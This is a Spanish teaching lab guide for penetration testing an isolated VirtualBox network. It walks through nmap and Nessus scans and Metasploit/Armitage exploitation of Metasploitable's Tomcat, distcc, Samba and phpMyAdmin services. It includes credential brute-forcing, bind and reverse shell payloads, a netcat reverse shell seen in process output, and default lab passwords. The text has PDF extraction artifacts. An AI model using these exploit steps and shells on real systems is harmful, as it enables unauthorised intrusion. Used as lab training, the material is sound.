Pentesting con Metasploit
ESEI Dojos 2011/12 1 de febrero de 2012
Indice
1. Entorno de pruebas 1.1. Software de virtualizacin VirtualBOX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 1.2. Imgenes a utilizar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 1.3. Establecer el entorno virtualizado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2. Ejercicio 1: Enumeracin de equipos y servicios y deteccin de vulnerabilidades o o 2.1. Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 2.2. Enumeracin con NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 2.3. Escaneo de vulnerabilidades con NESSUS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3. Ejercicio 2: Explotacin de vulnerabilidades con Metasploit o 3.1. Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.1.1. Arquitectura de Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.2. Interfaces de usuario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.3. Comandos de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2. Uso de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.1. Carga de recursos externos: escaneos de NMAP y NESSUS (opcional) . . . . . . . . . . . . . . 3.2.2. Uso de mdulos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.2.3. Explotacin de Tomcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.3. Uso del interfaz grco armitage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 3.3.1. Inicio y uso bsico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 3.3.2. Explotar el servicio distcc (compilacin distribuida) . . . . . . . . . . . . . . . . . . . . . . . . o 3.3.3. Tarea: explotar el servicio SMB (samba) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.4. Explotar una versin vulnerable de phpMyAdmin + uso de Meterpreter . . . . . . . . . . . . . o 3.3.5. Tarea: explotar la aplicacin web TikiWiki . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 4. Extra: Aplicaciones web vulnerables de entrenamiento y educativas 2 2 2 3 3 3 4 5 5 5 6 6 7 7 7 8 8 11 11 12 12 13 14 14
1.
1.1.
Entorno de pruebas
Software de virtualizacin VirtualBOX o
En estas prcticas se emplear el software de virtualizacin VirtualBOX para simular pequeas redes formadas por a a o n equipos GNU/Linux. Pgina principal: [Link] a Ms informacin: [Link] a o
1.2.
Imgenes a utilizar a
Imgenes de partida a Imgenes y scripts comprimidos: DOJO [Link] [2,1 GB] a Contenido: [Link]: Imagen VirtualBox de la mquina atacante. a Es un sistema Debian 6.0 con el gestor de ventanas LXDE (Lightweight X11 Desktop Environment) [[Link] y una serie de herramientas de seguridad instaladas.
Escner de puertos NMAP (y su interfaz grco zenmap) [[Link] a a Escner de vulnerabilidades NESSUS. [[Link] a Framework de pen testing Metasploit. [[Link] Escner de vulnerabilidades Web W3AF (Web Application Attack and Audit Framework ) [[Link] a
Usuarios congurados. login password root purple usuario1 usuario1 usuario2 usuario2 [Link]: Imagen VirtualBox de la mquina v a ctima. Metasploitable es un sistema Ubuntu Server 8.04 publicado por los desarrolladores de Metasploit como entorno de pruebas y aprendizaje para tests de intrusin. Cuenta con una coleccin de servicios vulnerables o o sobre los que experimentar. Para estos ejercicios se han realizado algunos aadidos. n Ms informacin: anuncio original, descarga Metasploitable a o Readme de Metasploitable: [Link] Usuarios congurados. login password msfadmin msfadmin (con acceso a sudo) user user service service postgres postgres [Link]: Imagen VirtualBox de una unidad de disco formateada como SWAP, es compartida por ambas mquinas. a [Link]: Script bash que congura las mquinas virtuales y las arranca. a [Link]: Fichero BAT para MS Windows que congura las mquinas virtuales y las a arranca (pendiente).
1.3.
Establecer el entorno virtualizado
Creacin de la red donde se realizar el ejercicio: o a Red interna ([Link] ... [Link]) 1. Descomprimir las imgenes a tar xzvf DOJO_PENTEST.tgz Se crear un directorio tmp/DOJO_PENTEST/ en el directorio actual. a 2. Congurar y registrar las mquinas virtuales en VirtualBOX (slo la primera vez) a o Script de conguracin y arranque: o GNU/Linux: [Link] MS Windows: [Link] (pendiente)
Nota: ejecutarlos desde el directorio donde se hayan descomprimido las imgenes a
Para GNU/Linux alumno@pc38:~/.../tmp/DOJO_PENTEST$ bash [Link] Para MS Windows [Link] o Nota: En MS Windows puede ser necesario establecer la variable VBOX xxxxxxx con la ubicacin de la instalacin de VirtualBOX set VBOX\_xxxxx="c:\archivos de programa\virtualbox" o 3. Arrancar las instancias VirtualBOX (si no lo hacen desde el script anterior) desde el interfaz grco o desde a la l nea de comandos. VBoxManage startvm VICTIMA VBoxManage startvm METASPLOITABLE
Importante: Despus de nalizar cada ejercicio terminar la ejecucin de cada una de las mquinas virtuales e o a desde l nea de comandos con halt o sudo halt o desde el interfaz grco LXDE. a
2.
Ejercicio 1: Enumeracin de equipos y servicios y deteccin de vulo o nerabilidades
Descripcin o
2.1.
En este primer ejercicio veremos dos herramientas que pueden ser utilizadas en las etapas iniciales de un test de intrusin (exploracin y enumeracin). Se trata del escner de puertos NMAP y del escner de vulnerabilidades o o o a a NESSUS. 1. NMAP es un escaner de puertos con capacidad de identicacin de servicios y sistemas operativos, tambin posee o e funcionalidades de evasin y ocultacin del escaneo. o o [Link] [Link]
2. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simulan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una coleccin de plugins o bajo registro sin coste para uso no comercial (Home Feed ) y una coleccin profesional ms actualizada bajo o a subscripcin de pago (Professional Feed ). o [Link] [Link] (software) Nota: Aunque inicialmente NESSUS era un proyecto de cdigo abierto, en la actualidad tiene una licencia o privativa. El proyecto libre OpenVAS continu evolucionando el cdigo de antigua versin Open Source de NESSUS y o o o ofrece funcionalidades similares.
2.2.
Enumeracin con NMAP o
Desde la mquina ATACANTE a 1. Acceder como root (con password purple) y arrancar las X
atacante:~# startx
2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que mquinas a estn conectadas en el segmento de red. a
atacante:~# nmap -sP [Link]/24
Nos informar de que hay 2 equipos en la red: la mquna ATACANTE (con direccion IP [Link]) y la a a mquina METASPLOITABLE (con direccion IP [Link]) a 3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE
atacante:~# nmap -sX [Link] -O -sV [Link]
Descripcin de las opciones o -sX [Link] especica el nombre del chero donde se volcar la salida del escaneo en el formato XML de a NMAP -O Habilita la identicacin del Sistema Operativo de la mquina escaneada o a -sV Habilita la identicacin de los servicios a la escucha en los puertos descubiertos en la mquina escaneada o a [Link] Direccin IP del destino del escaneo o Resultados obtenidos
aStarting Nmap 5.00 ( [Link] ) at 2012-01-30 00:35 CET Interesting ports on [Link] ([Link]): Not shown: 988 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Exim smtpd 4.69 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL (Host blocked because of too many connections) 5432/tcp open postgresql PostgreSQL DB 8009/tcp open ajp13?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: [Link] (Cadmus Computer Systems) Device type: general purpose|remote management|firewall|WAP|broadband router Running (JUST GUESSING) : Linux 2.6.X|2.4.X (98%)...
Nota: Este tipo de escaneo con identicacin de servicios es relativamente ruidoso y fcilmente detectable por o a los rewalls o detectores de intrusiones que puedan estar instalados en la red escaneada.
2.3.
Escaneo de vulnerabilidades con NESSUS
1. Abrir en un navegador web la URL https: localhost:8834 Acceder con las credenciales Login: usuario1, Password: usuario1 AVISO: no funciona bien el botn de vuelta atrs :-( o a 2. En la seccin Policies se denen y conguran las pol o ticas de escaneo Hay creada una pol tica privada Metasploitable donde se han seleccionado una serie de plugins relacionados con los servicios identicados por NMAP. Seleccionndola y pinchando en Edit se puede revisar y modicar. a En la pestaa Plugins se pueden ver los plugins seleccionados n Se pueden seleccionar de la lista (agrupados por categor as) o emplear un ltro por su nombre o ID. Por ejemplo Filer->Name : tomcat [Reset Filter] muestra los plugins relacionados con el servidor Tomcat, estn seleccionados los relativos a la versin 5.5 a o En concreto veremos: Web Servers -> 34970 Apache Tomcat Manager Common Administrative Credentials El cdigo de los plugins est disponibles en /opt/nessus/lib/nessus/plugins o a Son scripts escritos en el lenguaje NASL (Nessus Attack Scripting Language) que realizan distintos tipos de comprobaciones (versiones de servicios, opciones/comandos disponibles, conguracin) y/o simulan un o intento de ataque que tratar de aprovechar una vulnerabilidad concreta. a
atacante:~/# less /opt/nessus/lib/nessus/plugins/tomcat_manager_common_creds.nasl
3. En la seccin Scans se denen los escaneos de vulnerabilidades y se programa su ejecucin. o o Con Add se crea un nuevo escaneo, se le asigna un nombre, se programa su incio (Run Now ), una pol tica (Metasploitable) y una lista de objetivos ([Link]) y se lanza ([Launch Scan]) Una vez nalizado, aparecer su resultado en la pestaa Reports a n Se puede visualizar (Browse) y en exportar en diversos formatos (veremos que Metasploit puede importar el resultado de escaneos de vulnerabilidades en formato nessus) Ejemplos: (sobre el informe del escaneo Escaneo Metasploit ya realizado) El resultado de este escaneo ya est exportado en el chero /root/nessus_report_Escaneo_Metasploit.nessus a
Escaneo Metasploit -> High -> 8080 (High 1) -> 34970 Apache Tomcat Manager Common Administrat Informa del uso de contraseas por defecto en la herramienta web de administracin de Tomcat. n o Escaneo Metasploit -> High -> 22 (High 2) -> 32314 Debian OpenSSH/OpenSSL Package Random Nu Informa de que las claves de servidor SSH fueron generadas con una versin de openSSL sobre Deo bian/Ubuntu con un bug en el generador de nmeros aleatorios. u
3.
3.1.
Ejercicio 2: Explotacin de vulnerabilidades con Metasploit o
Descripcin o
En este segundo ejercicio veremos el uso del Framework Metasploit en tareas de explotacin de vulnerabilidades y o acceso a equipos comprometidos. 5
Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas t picas de una intrusin, ofreciendo o un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos y servicios comprometidos. Incluye tambin mdulos adicionales para las fases de rastreo y enumeracin, adems de e o o a poder integrar la informacin proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc. o 3.1.1. Arquitectura de Metasploit
Metasploit sigue un arquitectura modular, organizada alrededor de un ncleo que estructura la aplicacin y ofrece las u o funcionalidades bsicas. a exploits Piezas de cdigo que explotan una vulnerabilidad concreta que permite un acceso no previsto. Suelen ser o espec cas del sistema operativo y de la versin concreta del servicio, aunque hay algunos exploits independientes o de la plataforma. Su uso principal es como vector para la inyeccin de un payload espec o co que ofrezca al atacante algn tipo u de acceso y/o control del equipo compometido. payloads Piezas de cdigo que permiten algn tipo de acceso o control sobre un equipo que ha sido comprometido o u mediante la explotacin de alguna vulnerabilidad. Suelen ser espec o cos del sistema operativo, aunque algunos basados en Java o lenguajes de Script son independientes de la plataforma. Uno de los payloads ms potentes que ofrece Metasploit es Meterpreter. Se trata de un payload que ofrece un a intrprete de comandos en el sistema comprometido, complementado con una serie de comandos espec e cos que soportan tareas t picas de una intrusin (recopilacin de informacin del sistema comprometidos, keylogger, o o o ocultacin de rastros, etc). o Explicacin de algunas funcionalidades de Meterpreter: comandos Meterpreter, tabla resumen [pdf] o auxiliary Mdulos auxiliares que automatizan tareas complementarias empleadas habitualmente en test de intrusin. o o Fundamentalmente se trata de diversos tipos de escners: escner de puertos genricos escneres especif a a e o a cos para aplicaciones/servicios concretos. Tambin se proveen mdulos para recopilar credenciales de acceso basados e o en diccionarios o romper contraseas, enumeradores de directorios, herramientas para recopilacin de informan o cin de red y una coleccin de fuzzers que generan cadenas de entrada aletorias con las que detectar posibles o o vulnerabilides en la validacin de entradas. o post Piezas de cdigo espec o cas de cada arquitectura o aplicacin que automatizan tareas relativas al mantenimieno to, extensin y/o ocultacin del acceso a equipos comprometidos. Fundamentalmente ofrecen funcionalidades o o para recopilar informacin del sistema comprometidos (servicios, usuarios, chero, ...), para escalar privilegios o obteniendo credenciales de administrador o para ocultar el rasto de la explotacin. o nops Mdulos complementarios usados para generar distintos tipos de cdigos NOP (No operation) para diferentes o o arquitecturas y CPUs a utilizar en el cdigo de los exploits y sus respectivos payloads. o encoders Mdulos complementarios utilizados para ofuscar y ocultar el cdigo de los exploits y sus respectivos o o payloads empleando diversos tipos de codicacin. Son un mecanismo de evasin para evitar la deteccin del o o o ataque por parte de IDS (sistemas de deteccin de intrusiones) o antivirus. o Ms informacin en [Link] y [Link] Project. a o Consulta e informacin sobre los mdulos disponibles: [Link] o o 3.1.2. Interfaces de usuario
Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del ncleo u del propio framework o como proyectos independientes. msfconsole Consola en modo texto de Metasploit, es el interfaz ms usado y ofrece acceso a la totalidad de funcioa nalidades del framework. msfcli Expone las funcionalidades del framework para acceder a ellas desde l nea de comandos y shell scripts. 6
msfweb Expone las funcionalidades del framework mediante un interfaz web msfrpc/msfrpcd Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC (remote procedure call ) msfgui Interfaz grco basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd. a Armitage Interfaz grco basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho a ms amigable, con mejor usabilidad, con asistencia al usuario y automatizacin de determinadas tareas. Accede a o a las funcionalidades del framework usando msfrpcd. otros msfpayload/msfencode permiten crear (y codicar) payloads desde l nea de comandos. Se usa para generar cheros con payloads a desplegar/ejecutar directamente en las v ctimas. msfupdate actualiza mediante svn (subversion) los mdulos del framework a la ultima versin disponible. o o 3.1.3. Comandos de msfconsole
pendiente
3.2.
Uso de msfconsole
Desde la mquina ATACANTE: iniciar un terminal y arrancar msfconsole a
atacante:~# msfconsole
Muestra un banner e informacin de la versin del framework, ultima actualizacin y nmero de mdulos disponibles. o o o u o 3.2.1. Carga de recursos externos: escaneos de NMAP y NESSUS (opcional)
Metasploit puede congurarse para utilizar una base de datos donde guardar informacin de los equipos localizados, sus o servicios y vulnerabilidades, junto con informacin adicional como notas y eventos. Esa informacin puede generarla o o el propio Metasploit a partir de sus mdulos Auxiliary o cargarla a partir de herramientas externas. o 1. Cargar la informacin del escaneo de NMAP o
msf > db_import /root/[Link]
2. Cargar la informacin del escaneo de NESSUS o
msf > db_import /root/nessus_report_Escaneo_Metasploit.nessus
3. Comprobar los datos capturados.
msf > hosts msf > services msf > vulns
Se puede recuperar, editar o eliminar informacin de un host o servicio espec o co (ver hosts -h o services -h) Nota: Para el caso de NMAP, msfconsole ofrece un comando db_nmap que ejecuta NMAP con los parmetros a espec cados y automticamente carga los datos obtenidos en la BD de Metasploit, por lo que no ser necesario a a ejecutar NMAP desde fuera de msfconsole.
3.2.2.
Uso de mdulos o
1. Buscar posibles mdulos (exploits, etc) a utilizar sobre los servicios identicados en la mquina v o a ctima. Posibles exploits contra el servidor FTP ProFTPD.
msf > search proftpd
Ninguno de los exploits disponibles es apto para la versin de ProFTPD instalada. o Posibles exploits contra el servidor Apache Tomcat
msf > search tomcat
Se puede utilizar el exploit multi/http/tomcat_mgr_deploy (como ya nos mostr NESSUS este servidor o usa las contraseas por defecto) n 3.2.3. Explotacin de Tomcat o
1. Seleccionamos el exploit y vemos su descripcin y opciones. o
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > info
Debemos especicar un USERNAME y un PASSWORD, podremos intentar obtenerlos con un mdulo auxiliar o que prueba un diccionario de pares usuario+clave usando feurza bruta. 2. Extraccin de credenciales Tomcat (mdulo auxiliar auxiliary/scanner/http/tomcat_mgr_login) o o
msf > use auxiliary/scanner/http/tomcat_mgr_login msf auxiliary(tomcat_mgr_login) > info
Debemos especicar la mquina objetivo (RHOSTS), el puerto (RPORT), la URI de la aplicacin de gestion de a o Tomcat (URI) y los cheros con los nombres de usuario y las contraseas a probar (USER FILE, PASS FILE). n Bastar con especicar el valor de RHOST, con el resto de parmetros se usarn los valores por defecto a a a Desde otro terminal se pueden ver/editar los diccionarios con valores para USER y PASS.
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_pass.txt msf auxiliary(tomcat_mgr_login) > set RHOSTS [Link] RHOSTS => [Link] msf auxiliary(tomcat_mgr_login) > run [*] [-] ... [*] [+] ... [*] [-] [*] [*]
[Link]:8080 TOMCAT_MGR - [01/50] - Trying username:admin with password: [Link]:8080 TOMCAT_MGR - [01/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa
[Link]:8080 TOMCAT_MGR - [16/50] - Trying username:tomcat with password:tomcat [Link] [Apache-Coyote/1.1] [Tomcat Application Manager] successful login t
[Link]:8080 TOMCAT_MGR - [46/50] - Trying username:both with password:tomcat [Link]:8080 TOMCAT_MGR - [46/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa Scanned 1 of 1 hosts (100% complete) Auxiliary module execution completed
Nos informa que se puede acceder a la web de administracin de Tomcat con las credenciales tomcat/tomcat o 3. Conguracin y uso del exploit exploit/multi/http/tomcat_mgr_deploy o
msf msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy exploit(tomcat_mgr_deploy) > info
Debemos especicar la mquina objetivo (RHOST), el puerto (RPORT), el path a la aplicacin de gestion de a o Tomcat (PATH) y el nombre de usuario (USERNAME) y la contrasea (PASSWORD). n
msf msf msf msf exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) > > > > set set set set RHOST [Link] RPORT 8080 USERNAME tomcat PASSWORD tomcat
Funcionamiento: El exploit crear un chero WAR con una aplicacin web Java maliciosa cuya unica misin a o o ser la de poner en ejecucin dentro de la mquina v a o a ctima el PAYLOAD que especiquemos. Usando la aplicacin de administracin se desplegar ese WAR en el servidor Tomcat. o o a El exploit acceder a la URL correspondiente para invocar dicho servlet y poner en ejecucin su PAYLOAD a o Finalmente, el exploit deshar el despliegue realizado. a En este ejemplo se usar el PAYLOAD java/shell/bind_tcp a Este PAYLOAD lanza un intrprete de comandos en la v e ctima (/bin/sh en este caso) y redirige su E/S a un puerto TCP de dicha v ctima. El exploit abre una sesin hacia ese puerto de la v o ctima, obtenindose una shell en el equipo comprometido e accesible desde el atacante. Nota: con set PAYLOAD <tab> se muestra la lista de PAYLOADs admitidos por el exploit actual.
msf msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp exploit(tomcat_mgr_deploy) > show options
Este PAYLOAD tiene sus propias opciones, exige que indiquemos la mquina v a ctima (RHOST) y el puerto de escucha en dicha v ctima (LPORT)
msf msf exploit(tomcat_mgr_deploy) > set LPORT 11111 exploit(tomcat_mgr_deploy) > show options
Al lanzar el exploit se abrir una sesin en la mquina v a o a ctima.
msf [*] [*] [*] [*] [*] [*] [*] [*] exploit(tomcat_mgr_deploy) > exploit Started bind handler Attempting to automatically select a target... Automatically selected target "Linux x86" Uploading 6213 bytes as [Link] ... Executing /nZAPfHCskfkmDVB/[Link]... Undeploying nZAPfHCskfkmDVB ... Sending stage (2439 bytes) to [Link] Command shell session 1 opened ([Link]:54658 -> [Link]:11111) at 2012-01-31 [Link] +0100
ls -l total 76 drwxr-xr-x 2 root root 4096 2010-03-16 19:11 drwxr-xr-x 4 root root 4096 2011-12-10 10:31 ... lrwxrwxrwx 1 root root 30 2011-12-10 09:31 uname -a Linux [Link] 2.6.24-30-virtual ...
bin boot vmlinuz -> boot/vmlinuz-2.6.24-30-virtual #1 SMP Mon Nov 28 [Link] UTC 2011 i686 GNU/Linux
En la v ctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin terminal asociado.
metasploitable:~$ ps -aux | grep sh
Podemos comprobar que la conexin est efectivamente establecida, lanzando el comando netstat -tn en ambos o a equipos.
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address ... tcp 0 0 [Link]:43550 ... metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 [Link]:11111
Foreign Address [Link]:11111
State ESTABLISHED
Foreign Address [Link]:43550
State ESTABLISHED
Nota: las sesiones se nalizan con CONTROL+C 4. Uso de un PAYLOAD alternativo Otro posible exploit ser java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones. a En este caso ser el PAYLOAD en ejecucin en la v a o ctima quien se conectar a un puerto local de la mquina a a atacante (o de la mquina que le indiquemos). a
msf msf msf msf msf exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) > > > > > set PAYLOAD java/shell/reverse_tcp show options set LHOST [Link] set LPORT 22222 exploit
Debemos especicar la direccin (LHOST) y el puerto (LPORT) a donde debe conectarse el PAYLOAD. o
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address ... tcp 0 0 [Link]:22222 metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 [Link]:57091
Foreign Address [Link]:57091
State ESTABLISHED
Foreign Address 1192.168.100.111:22222
State ESTABLISHED
5. Inspeccin del cdigo del exploit y del PAYLOAD o o Se puede ver el cdigo Ruby con la implementacin del exploit y del PAYLOAD o o
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/exploits/multi/http/tomcat_mgr_deploy.rb < ver funcin exploit > o atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stagers/java/bind_tcp.rb atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stages/java/[Link] atacante:~# less /opt/metasploit-4.1.4/msf3/lib/msf/core/payload/[Link]
Tambin est disponible el cdigo Java inyectado por el exploit responsable de crear el intrprete de comandos e a o e y ponerse a la escucha. (ver [Link]
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/javapayload/stage/[Link] atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/[Link] atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/[Link]
Tamin se puede ver el aspecto que tendr un chero WAR con el PAYLOAD seleccionado (no es exactamente e a el que desplegar el exploit anterior) a
atacante:~# msfpayload java/shell/bind_tcp LPORT=33333 RHOST=[Link] W > /tmp/[Link] atacante:~# cd /tmp atacante:/tmp# jar xvf [Link] atacante:/tmp# less WEB-INF/[Link] atacante:/tmp# ls -l WEB-INF/classes/metasploit/*
10
3.3.
Uso del interfaz grco armitage a
Armitage es un interfaz grco alternativo para Metasploit que pretende simplicar el uso del framework. Hace uso a del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit. Mejora el interfaz (visualizacin de hosts, acceso simplicado a los mdulos y a su informacin y opciones, etc) o o o Automatiza ciertas tareas, como el emparejamiento entre hosts y servicios y entre servicios y exploits aplicables. Simplica la conguracin de exploits y payloads. o Permite la gestin y coordinacin de multiples sesiones abiertas en las v o o citmas 3.3.1. Inicio y uso bsico a
Desde un terminal de la mquina ATACANTE, arrancar Armitage a
atacante:~# armitage &
Al inciarse la aplicacin se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd). o Si dicho servidor estuviera en ejecucin deber de especicarse los correspondientes datos. o an En caso contrario bastar con pinchar en Connect de todos modos y el propio Armitage nos pedir autorizacin a a o para arrancar una nueva instancia del servidor RPC (pinchar en yes). Nota: Mientras el servidor se inicia, Armitage puede informar de errores de conexin. o Cuando el RPC est listo se inciar por s mismo el interfaz grco. e a a En la seccin de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit. o En nuestro caso aparece el host que hab amos introducido anteriormente con db_import al incio del primer ejercicio. De ser necesario podr lanzarse nuevos escaneos desde Armitage [[Men Hosts] -> Import / NmapScan / etc ]) an u Vincular posibles ataques a un host v ctima Armitage ofrece la funcionalidad de cruzar la informacin sobre o servicios de un hosts con la informacin de los exploits para vincular a una mquina una lista de los potenciales o a ataques. Seleccionar el host ([Link]) Sobre el men seleccionar [Men Attack] -> Find Attacks u u Armitage comprueba qu exploits son compatibles con cada uno de los servicios vinculados al host selece cionado (no va mucho ms all que comprobar nombres de servicio y versiones) a a Es frecuente que la mayor de los ataques/exploits propuestos no sean aplicables (falsos positivos) a Una vez completada la vinculacin se aade al icono del hosts un submen contextual Attacks con la lista de o n u posibles ataques. La opcin [Men Attack] -> HailMary va un paso ms all. o u a a Adems de cruzar servicios y exploits para determinales cuales podr ser usados este comando intenta exploa an tarlos. Los exploits potenciales son lanzados uno a uno usando sus opciones por defecto. En los casos donde el exploit tiene xito se crea una sesin con la v e o ctima. Nota: en la mayor de los casos las opciones por defecto que usar Hail Mary no son las adecuadas y la explotacin a a o no tendr exito. a Suele ser necesario jar opciones adecuadas y comprobar los exploit manualmente. 11
3.3.2.
Explotar el servicio distcc (compilacin distribuida) o
DistCC es un servicio que coordina la compilacin distribuida de programas (ver [Link] o Mestasploitable incluye una versin vulnerable de este servidor. o 1. Sobre el host ([Link]) seleccionar este ataque: [botn derecho] -> Attacks -> misc -> distcc_exec o 2. Se abre un dilogo donde ser muestra la descripcin del exploit (exploit/unix/misc/distcc_exec) y se permite a o congurar sus parmetros y los posibles PAYLOADS (en caso de que el exploit admita diversos tipos) a 3. Para este ejemplo los parmetros jados por Armitage son correctos. a En este caso se usar un PAYLOAD generic/shell_bind_tcp a 4. El exploit+payload se lanza con el botn [Launch] o Nota: En la consola se muestra la secuencia de acciones equivalentes en msfconsole Si el ataque tuvo xito se modica el icono del host y se aadir un un submen contextual Shell # e n a u Desde este submen (dependiendo del tipo de PAYLOAD) se podr acceder a una secin interactiva (Interact), u a o ejecutar mdulos de POST EXPLOTACION o subir archivos al equipo comprometido. o En la v ctima se puede comprobar que hay un proceso extrao en ejecucin. n o
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less
Hacia el nal de la lista se muestra un proceso Perl, propiedad del usaurio daemon, que ejecuta un script perl de una l nea (opcin -e one line script). o Ese script es el cdigo insertado por el exploit y lo que hace es abrir un socket hacia el puerto indicado en la o mquina atacante y ejecutar con la funcin Perl system() lo que se reciba a travs de ese socket. a o e Accediendo a la opcin Post modules del men contextual vinculado a la sesin con la v o u o citma se muestran en el a rbol izquierdo la lista de mdulos de post explotacin admitidos por el PAYLOAD actual. o o Para invocarlos basta hacer doble click sobre ellos, rellenar las opciones perminentes y lanzarlo. En cada uno de esos mdulos debemos indicar en la opcin SESSION el no de sesin ( no de shell) vinculado a o o o o la conexin obtenida por el exploit correspondiente. o Probar enum_linux, enum_services [para verlos ir a Men view -> loot], etc) u 3.3.3. Tarea: explotar el servicio SMB (samba)
Repitiendo las acciones del ejemplo anterior se puede aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la mquina comprometida. a 1. Sobre el host ([Link]) [botn derecho] -> Attacks -> samba -> usermap_script o 2. Se usar el exploit exploit/multi/samba/usermap_script a Si en la v ctima se comprueban los procesos en ejecucin, de nuevo saldrn cosas extraas. o a n
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less
En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat redirecciona la E/S de un intrprete de comandos sobre un puerto de la mquina atacante. e a 12
USER root ... root ...
PID %CPU %MEM 1 0.0 1.3 4915 0.0 0.3
VSZ 2848 1776
RSS TTY 1688 ? 484 ?
STAT START Ss 19:23 S 19:49
TIME COMMAND 0:00 /sbin/init
0:00 sh -c /etc/samba/scripts/[Link] "/=nohup nc 192
3.3.4.
Explotar una versin vulnerable de phpMyAdmin + uso de Meterpreter o
En la v ctima se ha instalado una versin antigua (y vulnerable) de phpMyAdmin o Se puede comprobar en la URL [Link] Pasos a seguir: 1. Sobre el host ([Link]) [botn derecho] -> Attacks -> webapp -> phpmyadmin_config o Se usar el exploit exploit/unix/webapp/phpmyadmin_config. a Se puede comprobar que la versin de phpMyAdmin instalada en Metasploitable es compatible con este exploit. o 2. Asegurar que la opcin URI es exactamente /phpMyAdmin/ (el exploit es sensible a maysculas/minsculas) o u u 3. Lanzar el exploit con el PAYLOAD por defecto. Uso de Meterpreter
Lanzaremos de nuevo el exploit con un PAYLOAD ms sosticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_t a que carga la herramienta Meterpreter en la v ctima (en este caso el cdigo inyectado por el PAYLOAD es PHP) o Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para simplicar las tareas de explotacin, o post explotacin y escalada de privilegios. o Inicialmente fue desarrollado para v ctimas MS Windows, aunque existen variantes para otras arquitecturas, aunque no con todas las funcionalidades. Pasos a seguir: 1. Cerrar (disconnect) la sesin arrancada actualmente. o
